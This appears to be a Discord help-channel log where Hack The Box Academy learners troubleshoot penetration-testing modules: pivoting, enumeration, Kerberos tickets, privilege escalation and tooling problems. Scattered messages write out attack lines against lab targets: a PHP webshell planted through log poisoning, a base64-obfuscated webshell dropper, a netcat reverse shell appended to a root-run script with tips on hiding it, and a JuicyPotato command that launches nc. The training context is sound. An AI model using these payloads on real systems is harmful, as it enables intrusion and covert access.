#modules

1 messages · Page 295 of 1

zealous rune
#

pretty much what i did

idle python
#

INFORMATION GATHERING - WEB EDITION Skills Assessment
What is the API key in the hidden admin directory that you have discovered on the target system?

zealous rune
#

pasted line by line

next bronze
#

so what's the problem

zealous rune
#

maybe along the way i've managed to customise my instance in a wierd way

#

thankfully i've managed to install from source

#

./configure make make install

next bronze
#

I mean if you say it doesn't work and don't explain why it's not gonna help the next person

zealous rune
#

true

#

one sec

#

pyenv install 2.7

next bronze
zealous rune
#

pyenv install 2.7; failed with errors, complained about not having been built with certain modules, specifically readline and some others

zenith vale
#

@next bronze can u please check the picture i posted, ive even tried the module given curl commands syntax with modified ip's obviously but still didnt work

next bronze
zealous rune
#

i did

#

this then pyenv shell 2.7 reports something like 2.7 not installed

idle python
zealous rune
#

I believe my particular issue stems from already having a python environment setup

next bronze
#

pyenv should override that

zealous rune
#

i'll try again for laughs

next bronze
#

if you're not already in an env it should work

next bronze
#

the top of that section lists the things you should try:
Analysing robots.txt
Performing subdomain bruteforcing
Crawling and analysing results

zealous rune
#

when u say in an env. do u mean in the folder where my env is?

next bronze
#

no as long as it's not activated

zealous rune
#

mmm mine is activated

#

since i used pyenv to setup my own environment

#

so i have ./pythontools/bin/python etc.

next bronze
#

deactivate it then, just deactivate

zealous rune
#

ImportError: No module named _ssl
ERROR: The Python ssl extension was not compiled. Missing the OpenSSL lib?

Please consult to the Wiki page to fix the problem.
https://github.com/pyenv/pyenv/wiki/Common-build-problems

BUILD FAILED (Debian 6.0 using python-build 2.4.8)

GitHub

Simple Python version management. Contribute to pyenv/pyenv development by creating an account on GitHub.

#

for my case i will just use my compiled versions of python2.7

#

good enough for my purpose

#

and in fact of course i have a bunch of PATH definitions for pyenv in my bashrc already

next bronze
#

oh I guess you're missing a core library

#

how do you not have openssl installed tho thonk

nova ginkgo
#

can anyone help me
Enumerate the server carefully and find the flag.txt file. Submit the contents of this file as the answer.

module/112/section/1078

I scanned with nmap and taken ports
21/tcp open ftp
22/tcp open ssh
| ssh-hostkey:
| 3072 3f:4c:8f:10:f1:ae:be💿31:24:7c:a1:4e🆎84:6d (RSA)
| 256 7b:30:37:67:50:b9:ad:91:c0:8f:f7:02:78:3b:7c:02 (ECDSA)
|_ 256 88:9e:0e:07:fe:ca:d0:5c:60🆎cf:10:99💿6c:a7 (ED25519)
53/tcp open domain
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
2121/tcp open ccproxy-ftp

so what cann i do

zealous rune
#

i do have openssl installed

#

i think it's that it kind find libs perhaps cos of the path definitions in bashrc

next bronze
#

yep idk about that, openssl is usually always present

zealous rune
#

i definitely have openssl

#

it's one of those things that will bite me at some point but right now i'll leave it alone

idle python
zealous rune
#

──╼ $openssl help
help:

Standard commands
asn1parse ca ciphers cmp
cms crl crl2pkcs7 dgst

#

etc.

next bronze
#

it's installed in your system but python doesn't have that module

idle python
next bronze
north bramble
#

I am not getting an NTLM hash, I get aes256 which crackstation cant crack. what do I do?

next bronze
#

there should be another one iirc

#

as I said there should be another ticket where you can get the hash from, and please don't post spoiler screenshots

north bramble
#

okay

north bramble
north bramble
fathom pendant
#

Also don't directly @ me I didn't chime in bc xreous was already helping

#

Wrong channel

next bronze
#

yes just look around, there's another ticket

slow matrix
#

Is it boxes?

obtuse haven
#

im getting crazy in the SocksOverRDP section

nova ginkgo
fathom pendant
#

Bingo

fathom pendant
obtuse haven
#

RDP is just so slow

slow matrix
#

Thanks!

north bramble
potent thorn
#

Anyone else just feel a bit overwhelmed by the documentation module. dont even know where to start

fathom pendant
#

I mean, ideally you start from the beginning

rustic sage
#

i uploaded a shell.php file, it keeps loading until the site crashes, what can i do?

Module: getting started
initial foothold

do i have to metasploit it first?

idle python
fathom pendant
rustic sage
fathom pendant
#

So your issue is with the upload?

rustic sage
#

yeah i uploaded it and clicked save changes

fathom pendant
#

It shouldn't crash on a simple php file

rustic sage
#

and then it just starts loading infinitvely

next bronze
rustic sage
#

now this happened to it whilst i was doing it

fathom pendant
#

I'd say reset it, try again

#

Change vpn regions

rustic sage
fathom pendant
#

Hmm

#

Odd

#

Reach out to support then

idle python
next bronze
zealous rune
#

hmm rpivot is confusing me

#

I am doing the "Web Server pivoting with rpivot" section in the Pivoting and Tunnelling module

#

in fact rpivot is kicking my ass

#

so. python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0 run on the attack host sets up the attack host as a reverse pivot

#

then python2.7 client.py --server-ip 10.10.14.18 --server-port 9999 makes a connection back from the intermediate compromised host back to our attack host or the rpivot server

#

we add socks4 127.0.0.1 9050 to proxychains.conf

#

and then we expect that proxychains firefox-esr <IPaddressofTargetWebServer>:80 where <IPaddressofTargetWebServer> is the actual internal IP (172.16.5.135) run from the attack host will give access to the internal target

#

but how will proxychains know that traffic to 172.16.5.0/23 is to be sent via the rpivot

obtuse haven
#

rpivot listens on SOCKS and you redirect traffic to that port via proxychains

zealous rune
#

ok

#

ok

#

makes sense

#

then what i'm doing should work

#

──╼ $python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 New connection from host 10.129.202.64, source port 47350

#

i run the client on the intermediate host i spawned

#

connection is up

#

i got it

#

i tried curl and it downloads the page

#

but trying to access the webpage by running firefox via proxychains doesn't work

obtuse haven
#

add the SOCKS proxy there

rustic sage
#

bro like it's so dumb i've set my parameters up

#

and it can't even exploit it

#

the version of it is correct also

pseudo kiln
#

i am having the same issue too

#

my target died suddenly

#

i respanwed it, but now I can no longer access the http page

#

i cannot connect to it with pwnbox either after stopping the vpn on the vm

rustic sage
#

i've watched some videos about obtaining a shell i've applied the same principles and nothing i dont get it

pseudo kiln
#

no I meant it may not be related to a module specifically, but a more general issue

rustic sage
#

credentials for the exploit has been set and so has the targeturi

#

and im using the 2nd one on the metasploit list.

pseudo kiln
#

guys just one question for targets with public IPs like 94.237.50.19:54111, do we even require VPN ?

#

cool we actually don't

plush urchin
#

hello, i am on virtual host and i having issues again solving the first task.

i entered this gobuster vhost -u http://<IP_address of my spawned machine> -w <wordlist_file> --append-domain but i am not getting any output

zealous rune
#

Try it when I get back in front of computer

#

Thx 4 the hint

pseudo kiln
#

I have question regarding LFI module, skil assessment

||I am the last step where I have to poison/var/log/nginx/access.log. I change the user agent to <?php system($_GET['cmd']); ?>.

But then when I navigate to /ilf_admin/index.php?log=../../../../../../../../../../var/log/nginx/access.log&cmd=ls / I only get the log output back, no comand execution. I set the user agent through both burp and dev tools, still no luck. I confimred that when I change it to "poison" the user agent appears changed to that in the logs, but when I change it to the webshell it just appears as " ". Anyone got a clue of what I could be doing wrong ? ||

#

nvm I got it after resetting the box, this happened during the a previous exercise with log pollution too

smoky gyro
#

Hi guys

#

need some help on INFORMATION GATHERING - WEB EDITION
Skills Assessment

pseudo kiln
#

Anyone has any idea why Log Poisoning/Pollution is so finicky ? Is it just the HTB environment, or is it the same in real life ?

wraith pelican
# plush urchin hello, i am on virtual host and i having issues again solving the first task. i...

a good practice would be to proxying your gobuster to burpsuite and see what you are actually sending to the target
but you can try with
gobuster vhost -u http://<IP_address:port> -w <wordlist_file> --append-domain --domain <domain-name>

or you add the ip without the port in /etc/hosts file like ip domain-name and then
gobuster vhost -u http://<domain-name:port> -w <wordlist_file> --append-domain

wraith pelican
pseudo kiln
#

thanks, good to know it was not just me

wraith pelican
#

yeah... not very practical if that happen in real life where you can't respawn the target

wraith pelican
heavy edge
#

we close chat

smoky gyro
#

how can i crawl something that ain't have any sub links on it?
||After crawling the inlanefreight.htb domain on the target system, what is the email address you have found? Respond with the full email, e.g., mail@inlanefreight.htb.||
depending on the previous question:
|| What is the API key the inlanefreight.htb developers will be changing too?||

wraith pelican
quasi jungle
#

Have been stuck on this
Can't enumerate the username at all via brute force or exploration.
Valid username filter "Invalid credentials."
Invalid username filter "Unknown username or password."
Used xato 10 million and names.txt both from SecLists.

Cookie's are PHPSESSID and aren't exploitable.

Profile.php can't be accessed by modifying the status code or anything.
And 2fa.php won't work with any registered user.
https://academy.hackthebox.com/module/80/section/848

bright sorrel
#

Can anybody else me figure out why EternalBlue is failing on Shells & Payloads - Infiltrating Windows? I've tried using reverse_tcp, reverse_http, doing set DefangedMode false, set GroomAllocations 10, and set GroomDelta 5 but keep failing at triggering the free of corrupted buffer.
I've run into this issue before w/ HTB, but last time reverse_http worked

wraith pelican
sacred jacinth
#

In the Linux Fundamentals course Containerization Module, we were suggested to practice LXC. I have learned how to set up an unprivileged container, however, the second task to configure network settings for the container confuses me. What exactly am I supposed to config in the network settings?

north bramble
#

this is the error I am getting, what do I do? I imported the ccache file...

solid quarry
bright sorrel
north bramble
smoky gyro
#

need some help on INFORMATION GATHERING - WEB EDITION
Skills Assessment
can't find any useful data on robots
||After crawling the inlanefreight.htb domain on the target system, what is the email address you have found? Respond with the full email, e.g., mail@inlanefreight.htb.||
||What is the API key the inlanefreight.htb developers will be changing too?||

north bramble
smoky gyro
#

ss ?

north bramble
#

screenshot

solid quarry
north bramble
solid quarry
#

smbclient from impacket?

north bramble
# smoky gyro ss ?

the hint I can give you is to first fuzz vhosts with gobuster and then use reconspider.

north bramble
solid quarry
#

then its not the impacket one, impacket is a .py collection of scripts do interact with a lot of services on AD, smb is one of those

north bramble
solid quarry
#

What I did was get the ticket, transfer to my kali host, export KRB5CCNAME=./<ticket> ran the smbclient.py using proxychains since you cannot talk to the dc directly

north bramble
solid quarry
#

I will start the machine here and try to do without impacket

solid quarry
#

or scp since ssh is enabled on that machine

north bramble
#

oh scp

smoky gyro
north bramble
north bramble
half stag
#

hey could someone help me with the linux priveledge escalation module, the logrotate part?

north bramble
# smoky gyro

there is another subdomain, gobuster again on this one

smoky gyro
solid quarry
#

@north bramble

#

worked for me

#

maybe you got the wrong ccache file, on mine there was two files related to julio at the /tmp dir, grab the one with the bigger file size

solid quarry
#

for example I grabbed the last one

smoky gyro
north bramble
north bramble
solid quarry
#

yeah it will not be the same, but similar, do a ls and show me a print from the output

solid quarry
#

grab the one that end with xK

north bramble
solid quarry
#

this one have a bigger file size

#

export KRB5CCNAME=./<ticket_name> if you are inside /tmp, then smbclient //dc01/C$ -k -c ls -no-pass

north bramble
solid quarry
#

try the other one

north bramble
#

I am resetting the machine

solid quarry
#

try the other ticket, if this not work then reset

solid pewter
#

question idk if its the lab or me :). question 3: What is the API key in the hidden admin directory that you have discovered on the target system? on the skills assessment for INFORMATION GATHERING - WEB EDITION. I am getting this.

north bramble
solid quarry
#

ok

north bramble
solid pewter
#

yeah, i got the first 2

smoky gyro
#

thanks @north bramble , now 100% on Penetration Tester job path and i'm ready to enter the exam ❤️

north bramble
north bramble
#

screenshot*

solid pewter
#

yeah its really strange

north bramble
solid pewter
north bramble
solid quarry
#

same error?

stone meteor
#

MODULE: WINDOWS PRIVILEGE ESCALATION
SECTION: Skills Assessment - Part I

transfered juicy potato and nc.exe on the target. when running jp.exe with this command ./jp.exe -l 5555 -p c:\windows\system32\cmd.exe -a "/c ./nc.exe 10.10.15.146 4444 -e ./cmd.exe" -t *, getting this error

COM -> recv failed with error: 10038```

any ideas?
north bramble
north bramble
north bramble
#

Okay this isnt working at all.

north bramble
haughty phoenix
#

Module: API attacks
Section: Broken Object Level Authorization

What kind of answer do they want from me here?

haughty phoenix
#

What do they mean with the flag (i might be stupid here)

kind turret
#

it sticks out like a sore thumb

ember fern
#

fucking triple subdomain dumbfuckery

haughty phoenix
#

Can I get some more guidance because I'm so lost at this point

heavy edge
#

okay so

north bramble
# north bramble

this isnt working.

ERROR:
root@linux01:~# smbclient //DC01/julio -k -c ls
gensec_spnego_client_negTokenInit_step: Could not find a suitable mechtype in NEG_TOKEN_INIT
session setup failed: NT_STATUS_INVALID_PARAMETER

#

I am off to sleep so if anyone can help, please tag or dm me. thanks

cedar void
#

Not understanding why the net cat listener isn't working here for the pentestermonkey.php file I upload to the weblink(http://94.237.59.193:47722/):

https://academy.hackthebox.com/module/136/section/1261

"Try to exploit the upload feature to upload a web shell and get the content of /flag.txt "

I use the local IP address of my attacking machine and the port number in my php file is the same port number I used for my net cat listenere address:

dim wolf
#

we do not offer crypto help

gleaming thistle
#

Hey im going back through the finding evil mini lab inside of the soc analyst path. I am creating an XML query to find something. Regardless I was able to find it the long way however after I did it I was trying to figure out a faster way to do it and I made the query <QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID='4907')]]
and
*[EventData[Data[@Name='SubjectUserName']='0x3E7']]
and
*[EventData[Data[@Name='ObjectName']='C:\Windows\Microsoft.NET\Framework64\v4.0.30319\WPF\wpfgfx_v0400.dll']]
</Select>
</Query>
</QueryList>

#

Whenever I run it, it finds nothing even though I was able to manually find the log without the object name eventdata.

#

Can someone please explain to me if i wrote the query wrong or does that not just work? it didnt give me an error message

lost maple
rare swan
#

Technique: password spraying AD
Tools: kerbrute = fail; cme=success --> is this usual because of different protocols used by the tools? Or should work both?

dawn summit
#

Has anybody had issues with the Introduction To Splunk & SPL. Im having issues where no searches even ones included in the module show no results. i do have time set to "All-Time" am i being dumb and missing something or is my pwn box bugged

dawn summit
fathom pendant
fathom pendant
dawn summit
lost maple
#

i got it guys

fathom pendant
#

He explicitly said "docker target and vm target"

lost maple
#

look
now i finish the intro to academy in the next step section he told me to start with Information Security Foundations path it cost 190 cubes so i should to learn another module to make 190 cubes so what should i do in this situation what the module should learn it ?

dawn summit
#

Its honestly a toss up. my current issue is that a lot of the beginner stuff is boring to me because i am a college student and have experience with a lot of the tools stated. I would recommend to just do what interests you to stack up cubes.

fathom pendant
#

The infosec Foundations path is filled with t0 modules which all give back 10 cubes on completion

#

Note, you will never go positive on cubes for free

#

t0 modules give back 100%, but all other modules 20%

fathom pendant
#

If you have the student sub you do earn the cubes still from completing

dawn summit
#

Ahh i see didnt know that

fathom pendant
#

It wouldn't make sense if you could

#

Since htb is a paid learning platform

#

The t0 modules are considered "free"

lost maple
#

yeah i know all that but i don't know what i should to do

i search on google and chat gpt about how i can be bug bounty hunter and he told me to start with networking with ejptv 1 i will learn the offensive security in it and the networking and in htb there is a lot of path that's make me struggle like i have a lot of option what do you think start with ejptv1 ?

solid quarry
#

mine there are 2 tickets, one does not work the same error as yours, but one of them works, try what I said then use impacket

fathom pendant
fathom pendant
#

One is expired the other should be active

solid quarry
#

I imagined, but its strange that the same commands works on my instance and for the other guy not

#

I think the first time I did this module back on 2023 I had this problem using smbclient did everything using impacket

fathom pendant
lost maple
fathom pendant
#

And the information Security Foundations path

lost maple
#

ok there is a two paths start with any one ?

fathom pendant
#

EU doesn't have that problem

fathom pendant
lost maple
#

so i must start with information security foundation path

and what do you think about ejptv 1 learn it now with ecurity foundation path or keep it in another time ?

fathom pendant
#

I haven't done it so i couldn't tell you

#

Just take it one step at a time tbh

tranquil crystal
#

@fathom pendant why no?

fathom pendant
#

Because it wouldn't be the same file

#

Not to mention in a real engagement you don't want to outright replace a file

tranquil crystal
#

What do you mean? I am going to create a new file called monitor.sh and put reverse shell code in there

fathom pendant
#

You can just add it to the bottom

#

You don't need to replace the file

slate zinc
#

well i would say method would work in both ways

tranquil crystal
#

I thought about that, top or bottom, either would be fine. Or both methods would work.

fathom pendant
#

Bottom makes it less likely to be seen when another users runs it

tranquil crystal
#

Oh, right.

fathom pendant
#

And checks

tranquil crystal
#

You have to hide also.

slate zinc
tranquil crystal
#

Good point. Stealth.

#

No one will notice one line maybe

#

but they will notice a backup file

fathom pendant
#

Also plenty of commands to append to the bottom of a file

slate zinc
#

something like "string here" >> file.txt
will append "string here" at the bottom of file.txt

ocean night
#

Good points.. approach tasks not just to solve, but as if it were a real engagement

tranquil crystal
#

I am doing that

#

I'm taking notes for the task and created a whole folder for it

slate zinc
#

back them up as well
i lost some of mine sadge_business

tranquil crystal
#

I did last night

#

Now they're on git

#
┌──(stoned㉿kali)-[~/Notes/Exercises]
└─$ tree                
.
└── Nibbles
    ├── EPT
    │   ├── Discovery.md
    │   ├── evidence
    │   │   ├── credentials
    │   │   ├── data
    │   │   └── screenshots
    │   ├── logs
    │   ├── scans
    │   │   ├── nibbles.gnmap
    │   │   ├── nibbles.nmap
    │   │   └── nibbles.xml
    │   ├── scope
    │   └── tools
    │       ├── LinEnum.sh
    │       ├── exploit.php
    │       └── php-reverse-shell.php
    └── IPT
        ├── evidence
        │   ├── credentials
        │   ├── data
        │   └── screenshots
        ├── logs
        ├── scans
        ├── scope
        └── tools

20 directories, 7 files
#

I create the same folder structure for every project, task, and use the Externel PT folder to store their data, notes, findings, etc. etc. nmap scans

#

I like to organize as I do things.

fathom pendant
#

As modules above tier0 explicitly deny sharing a lot of info about their contents

tranquil crystal
#

Oh

fathom pendant
#

Content policy and whatnot

tranquil crystal
#

Now it's private repo

#

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|cmd -i 2>&1|nc 10.10.x.x 444 >/tmp/f

I use my tun0 ip and put this line at the bottom of monitor.sh

Then as nibbler, I do, sudo ./monitor.sh and I get errors, script doesn't run, and netcat listner breaks.

#

Or perhaps instead of a bash reverse shell, I can try to tell the monitor.sh scrip to use python to spawn a root shell.

#

yup, that was it. 😄

#

I got root

#

Thanks a lot folks

fathom pendant
tranquil crystal
#

Or that, cool. Thanks

fathom pendant
#

Also you're listening on port 444?

tranquil crystal
#

I was using 443 already

fathom pendant
#

Generally you want to avoid running nc with sudo where possible

tranquil crystal
#

I should have used a more stealthier port

#

Why is that?

fathom pendant
#

And if you need to use common alts, 8000 -- 8080

tranquil crystal
#

I use 443 mostly as it's most inconspicious

fathom pendant
#

Opening ports as root is generally not a good idea

fathom pendant
tranquil crystal
#

if someone is monitoring connections, which they do, 443 wouldn't stand out as much

#

True

fathom pendant
#

80 would be better

tranquil crystal
#

Good idea

#

443 for socat encrypted shells

fathom pendant
#

Either way, it works

slim badge
#

Hey guys!

Need some help!

I'm sending this following payload via URL

||bash<<<$(base64${IFS}d<<<ZWNobyAtbiAiPD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iID4gYmJiLnBocA==)||

The payload is supposed to execute the following command

||echo -n "<?php echo system($_GET['cmd']); ?>" > bbb.php||

But for any reason I still didn´t figure out why the content of the file bbb.php is the following:

<?php echo system(['cmd']); ?> instead of <?php echo system($_GET['cmd']); ?> (without $_GET...)

Any ideas. I feel I'm missing somethign...don´t recall what it that...

Thanks

cloud urchin
#

probably due to how the payload is being encoded and then interpreted

#

$_ is a special variable in bash that holds the last argument of the previous command, so it's interpreting your code using that variable instead of the literal string

fathom pendant
#

Use single quotes for echo

#

And double around cmd

clear zephyr
#

I am following the module but I am getting the follow issue with starting the socks proxy server:

[*] Starting the SOCKS proxy server
[*] Stopping the SOCKS proxy server

Any reason why?

fathom pendant
#

Definitely not enough info

cloud urchin
#

i'm sure there's a reason but you don't provide info to tell us why

clear zephyr
#

When I did it the first time it work but now it's giving me this error and I have no idea why

cloud urchin
#

did you restart the target afterwards? if not, it could be that the port is in use already from the previous time you did it

clear zephyr
#

port was already in use which kill the ps and it fixed it

tranquil crystal
#

https://academy.hackthebox.com/module/77/section/859

I am doing this task. I got as far as finding the admin password and logging in. Now when I try to upload image or file, it uses swf object to upload and when I click upload files, nothing happens in firefox. Haha. No SWF/flash stuff anymore. Now I don't know how else to upload files.

#

I was able to use msfconsole. But not manually yet.

tranquil crystal
#

I got as far as launching php as root, but I can't seem to launch a shell using php...

rustic sage
#

pls someone hlp me, am doing info gathering web edition and am stuck on the last 3 questions of the skills assessment, i cant find out what to do and this is the very last thing i have b4 finishing the cbbh path?

tranquil crystal
#

root@gettingstarted:/var/www/html/theme#
I got it!

fathom pendant
#

You need to enum vhosts and crawl for info also analyzing robots.txt can be helpful

#

There's a short list of things that the engagement tells you are needed

rustic sage
#

but seems like no robots.txt:

#

─[ineedabetterh4ndl3@parrot]─[~/htb]
└──╼ $curl http://inlanefreight.htb:41983/robots.txt
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.26.1</center>
</body>
</html>

fathom pendant
#

It's one of the techniques discussed in the module

rustic sage
#

ok

#

wait a sec

#

i feel like i asked u about this same q about month ago

#

will check discord history

fathom pendant
#

There's absolutely no way you can't get the answer if you've done the rest of the module fully

shut wraith
#

Hey guys I am wondering for anyone who used sqlmap, how do u choose which tamper script to use? Do u just use each one separately and see if any work?

fathom pendant
#

Basically, yeah, though for the sqlmap module they call out a specific tamper script

rustic sage
#

see

fathom pendant
#

Yeah

fathom pendant
#

And i told you the ffuf syntax for vhost fuzzing

rustic sage
#

let me keep trying

rustic sage
fathom pendant
#

And the gobuster syntax

rustic sage
#

ik

#

that day it was bed time when u said so had to sleep and then disided to skip and come back to it later

fathom pendant
#

Should have done it while it was fresh in your mind instead of skipping

rustic sage
#

ur prob right

#

but good news is after i finish i will be done with cbbh role path 🙂

#

am doing now

fathom pendant
#

Always dig deeper if what you find isn't on the surface

rustic sage
#

am getting nthing, using this: gobuster vhost -u http://94.237.50.180:41983 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain -v -t 500

#

no subdomains found

#

and i used very big wordlists

#

@fathom pendant on this q do u thing they mean directory or subdomain: What is the API key in the hidden admin directory that you have discovered on the target system?

quasi jungle
#

Have been stuck on this
Can't enumerate the username at all via brute force or exploration.
Valid username filter "Invalid credentials."
Invalid username filter "Unknown username or password."
Used xato 10 million and names.txt both from SecLists.

Cookie's are PHPSESSID and aren't exploitable.

Profile.php can't be accessed by modifying the status code or anything.
And 2fa.php won't work with any registered user.
https://academy.hackthebox.com/module/80/section/848

spring lily
#

Just a quick question, what can PowerView do that Bloodhound can't in terms of enumeration??

rustic sage
#

pls @fathom pendant help me with this, ik u have already helped a lot and i thc u but just cant for the life of me solve this skills check, am sooo close to finishing cbbh role path and if i finish today i will take the test in 2 days but if not will not be able to take till next summer (happily perents getting for me, this first attempt is just gonna be for learning about the exam and next summer will do it hoping to pass)

#

SOMEONE PLS HELP ME THIS CHAL IS SOOO ANOYING AM RAGING WILL SHUT UP SOON JUST SOMEONE HELP ME (the info gathering skills assesment)

real delta
#

What's the question for the assessment that you need help on?

prisma spruce
#

and -t 500 will definitely not help

real delta
#

Adding more threads is a bad idea btw

night crypt
#

Hi all, hoping somebody could give me a hand with the Web Proxies module Proxying Tools step - I'm having some trouble getting Metasploit to proxy through ZAP, anybody mind giving me a hand please?

Screenshot of the suggested module & config below:

#

I'm running a python uploadserver on that port (12345)

night crypt
#

maybe it is bypassing the proxy because they're both localhost?

real delta
night crypt
#

but I've tried targeting the machine from earlier in the module & it also failed

night crypt
real delta
#

It should be http:// if that doesn't work then turn on verbose mode on that module by setting verbose to true

prisma spruce
night crypt
prisma spruce
prisma spruce
night crypt
#

like this?

prisma spruce
#

rhosts should be 94.237.50.19 by itself

night crypt
#

with this config, same issue

prisma spruce
#

yes

night crypt
prisma spruce
#

try it without the proxy first. Do you even have one set up?

night crypt
#

I just swapped to Burp and it worked immediately

#

is there an additional step needed in ZAP to have it intercept command-line tools?

prisma spruce
#

dunno, but the issue is with zap then

spark spruce
night crypt
#

ah, you need to manually enable it:
Tools > Options > HTTP Proxy > Enabled

fathom pendant
#

Since I told him all the syntax to get what's needed then

prisma spruce
spark spruce
fathom pendant
willow wasp
#

Currently doing the tasks for Dynamic Port Forwarding with SSH and SOCKS Tunneling module. Pretty sure I have my dynamic port forward + proxychains config setup correctly. But when I try to nmap the target internal IP, I don't get good results:

$ proxychains nmap -vvv -sT -Pn 172.16.5.19 -p3389
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
...
Scanning 172.16.5.19 [1 port]
Completed Connect Scan at 22:52, 2.00s elapsed (1 total ports)
Nmap scan report for 172.16.5.19
Host is up, received user-set.
Scanned at 2024-07-26 22:52:11 CDT for 2s

PORT     STATE    SERVICE       REASON
3389/tcp filtered ms-wbt-server no-response
$ proxychains nmap -vvv -sT -Pn 172.16.5.19
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
...
Initiating Connect Scan at 22:40
Scanning 172.16.5.19 [1000 ports]
Completed Connect Scan at 22:43, 201.24s elapsed (1000 total ports)
Nmap scan report for 172.16.5.19
Host is up, received user-set.
Scanned at 2024-07-26 22:40:30 CDT for 201s
All 1000 scanned ports on 172.16.5.19 are in ignored states.

but when I rdp directly via proxychains xfreerdp /v:172.16.5.19 /u:victor /p:pass@123 it seems to be working/the port is up. am I missing something on the nmap scan?

fathom pendant
#

Btw @rustic sage each voucher covers 2 attempts

fathom pendant
prisma spruce
#

Host is up, received user-set. is really the line you should care about

willow wasp
#

but I'm trying to replicate this tho, so I was expecting some results:

willow wasp
fathom pendant
#

If you have silent mode turned on for proxychains, it won't show all that

spark spruce
prisma spruce
fathom pendant
prisma spruce
#

I wonder how many users bother learning with the tools that the modules use, and how many stick with just one

prisma spruce
rustic sage
#

rage... okay. mabye i should try trying harder...

fathom pendant
rustic sage
#

...which?

real delta
#

Do gobuster --help

rustic sage
#

ok

rare swan
#

Stupid question: how to download parrotOS - cant select anything...

storm elk
#

Click download. Then there should be a drop-down?

rare swan
#

nope

storm elk
#

Did you try refreshing?

rare swan
#

doesnt work either...

#

nothing can be selected

#

guessing theres something wrong...

spark spruce
#

change the browser

rare swan
#

@spark spruce maybe you can check it out...

storm elk
#

It works for me in my mobile browser

#

Have you tried making other choices?

spark spruce
rare swan
#

ah - amd doesnt work?

#

strange... arent it?

#

but thx

ocean night
#

JS disabled? Any console errors?

storm elk
#

Might be a temporary glitch or so. Which one are you trying to download? I’ll try to fetch a link

ocean night
storm elk
#

Even better

rare swan
#

@ocean night works fine - thx

storm elk
grand portal
#

Tried many servers.

storm elk
#

Hmmm. That’s odd indeed

ocean night
#

Any errors in the console @grand portal ?

grand portal
ocean night
#

Yes

grand portal
grand portal
grand portal
ocean night
#

Just if there are any errors, whether from a request, or from javascript

#

If in Chrome.. anything red

storm elk
#

You can use jam.dev to record it

#

Shouldn’t contain PII

#

Or just share a screenshot 🙂

grand portal
#

Stuck at this point.

ocean night
#

What about going to the Network tab - click the spawn button and look out for the request to https://academy.hackthebox.com/api/spawn/container/247 (assuming you're still on the same module)

#

What response does it give?

grand portal
#

However I see 247 xhr type response in network tab.

storm elk
#

It should have some reoccurring calls in the network tab

#

What’s the response there if you click on one of those ?

grand portal
#

200 OK

storm elk
#

Should be able to click any of them and then a few tabs should pop-up. One of them being response

ocean night
#

And the content?

grand portal
#

app-5aaac70a.js exist under build/assets directry.

ocean night
#

huh

grand portal
#

Wdym by content?

ocean night
#

As in the response from the request

grand portal
ocean night
grand portal
#

That's the first thing I did. It didn't work.

ocean night
#

Ok..one moment..

#

I've sent you a DM

grand portal
#

Okay

ocean night
#

Right, try again please @grand portal

#

If you refresh you should see the option to spawn again

#

I can see an IP has been assigned this time

#

All good?

grand portal
#

Almost. Let me try accessing that IP.

#

Nice. It works.

#

Thank you so much.

ocean night
#

You're welcome

grand portal
#

Was the issue on my end or HACKTHEBOX?

ocean night
#

..and sorry, I should have introduced myself in DM first

#

It looked like a job got stuck somewhere in the HTB back end provisioning service, so nothing to do with you

grand portal
grand portal
north bramble
night crypt
#

has anybody managed to complete the web proxies capstone using just ZAP?

split glade
night crypt
split glade
# night crypt I'm stuck trying to import the Community Scripts addon (I know I could just manu...

Those are my notes:

## Add a custom script to zap (example)
### Install community scripts
- install community scripts addons
- options > Scripts > Load -> `/home/sudo6/.ZAP/community-scripts` -> ok
### Add custom script
- (assuming your script is in a folder under options > Scripts)
- View > show tabs > Scripts Tab > Right Click your script > enable Script
- (eg to-hex.js, because it's not installed by default!!!)
#

You probably didn't enable the script cf View >...

night crypt
#

it automatically aded the community-scripts directory here when it installed the addon, but they don't show up in the Scripts tab:

#

the one I'm chasing is to-hex.js it is in that folder but not appearing for some reason?

split glade
north bramble
#

final question frens. please help. password attacks, pth using linux

night crypt
wicked apex
#

Module: Password Attacks
Section: Attacking Active Directory & NTDS.dit
Would it be wiser to just use netexec with blank password to check if the account exist? or should I just supply it with a wordlist directly?

north bramble
uneven oracle
#

Not sure…
Which section are you on?

#

Oooh, idk.
Still pretty much a beginner on HTB.
also trying to get a web shell tho.

#

Interesting.

next bronze
#

bit of a spoilers but you should look into where the script points to

uneven oracle
#

You figure it out?
It’s hard to get help outside of HTB modules in here.
Also your question could maybe use more context?

next bronze
#

it's not the one in sysvol

muted jacinth
#

well i guess i'll keep looking but it really feel like no users i got is able to modify it

#

feels wrong idk

next bronze
smoky marten
#

for the exercise in Using Web Proxies - Burp Intruder, am I doing this right? I have .html set as a suffix and am using the same common.txt file they have

uneven oracle
#

I got through SQL Injection Fundamentals all by myself… 😊
If anyone needs help with that module, let me know.

limpid hemlock
#

Hey im trying to solve the last question in the Ad skill assesment lab 1 take over the domain and submit clear flag i cant do the dc sync attack and get the hash to take iver the domain

#

Ivd got the credentials for a another domain user using crackmap i try to use the creds with secretsdump.py

#

But fails any help??

split glade
next bronze
#

secretsdump should work here

fathom pendant
#

They are already in the foothold /etc/hosts

#

But you'd determine live hosts with a ping sweep usually

cedar void
#

I dont understand because the listening port and the port number in the pentestermonkey.php file is the same:

next bronze
north bramble
#

still stuck here guys, can someone help? I think I found the keytab file but I am unable to crack the ntlm hash, tried crackstation as well as hashcat

craggy idol
#

still stuck in Broken Aunthentication - Brute-Forcing Password Reset Tokens. I have already brute forced valid tokens, but when I used them on the site or in burp, it is already invalid. am I doing something wrong? can someone give me a hint please? Thank you. 😫

fathom pendant
#

Or keytab

#

Just import/use it

cunning frigate
north bramble
fathom pendant
cedar void
#

that is what I am using

fathom pendant
cunning frigate
#

